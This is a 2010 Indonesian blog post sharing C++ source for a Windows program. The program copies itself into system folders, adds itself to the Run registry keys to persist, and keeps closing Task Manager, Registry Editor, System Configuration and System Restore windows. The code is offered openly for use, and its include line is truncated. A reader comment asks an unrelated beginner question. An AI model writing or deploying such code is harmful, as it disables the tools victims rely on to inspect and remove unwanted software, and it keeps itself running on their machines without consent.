Jumat, 02 Juli 2010

Program Dev C++

/*********************************
BLOCK PROGRAM BERDASARKAN CAPTION
DISERTAI MUTEX DAN REG STARUP

This program will block several applications,
so pay attention to both the written syntax
BY : RIVAL
*********************************/
#include
int main()

{
/* MUTEX */
CreateMutex(NULL,true, "Mutex");if (GetLastError() == ERROR_ALREADY_EXISTS) {ExitProcess(0);}

/* REGISTRY */
char sd[MAX_PATH]; //path untuk system directory --> C:\WINDOWS\system32
char path[MAX_PATH];//path aplikasi kita
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,path,sizeof(path));
GetSystemDirectory(sd,sizeof(sd));

strcat(sd,"\\Block.exe");
CopyFile(path,sd,false);
CopyFile(path,"C:\\Block.exe",false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"Ini Registry Buat Block",0,REG_SZ,(const unsigned char*)"Block.exe",99);

RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"Registry yang Kedua",0,REG_SZ,(const unsigned char*)"Block.exe",99);
RegCloseKey(hKey);

//Block
HWND Prog;
while(1==1)
{
Sleep(777);
Prog = FindWindow(NULL,"Windows Task Manager");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Registry Editor");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Display Properties");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"System Configuration Utility");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"System Restore");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Microsoft Configuration Utility");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);

Prog = FindWindow(NULL,"Untitled - Notepad");
if (Prog!=NULL){HWND hWin; hWin = GetForegroundWindow();
SetWindowText(hWin,"My Notepad :)");}

Prog = FindWindow(NULL,"Calculator");
if (Prog!=NULL){HWND hWin; hWin = GetForegroundWindow();
if (hWin!=(HWND)"Shell_TrayWnd")FlashWindow(hWin,true);}

if (GetAsyncKeyState(VK_F7)){return 0;} //jk ditekan F7 maka program keluar
//if you push F7 program will end
}

return 0;
}

1 Comentário:

Anonim mengatakan...

gimana cara membuat program nilai huruf,nilai angka dan nilai bobot,
dengan cara pakai if,else

Posting Komentar

About Me

Foto Saya
Sahrul Ramdoni
Lihat profil lengkapku

Follower

Powered By Blogger

Inginku tau © 2009. Template by Sahrul Ramdoni.

@sahrulramdoni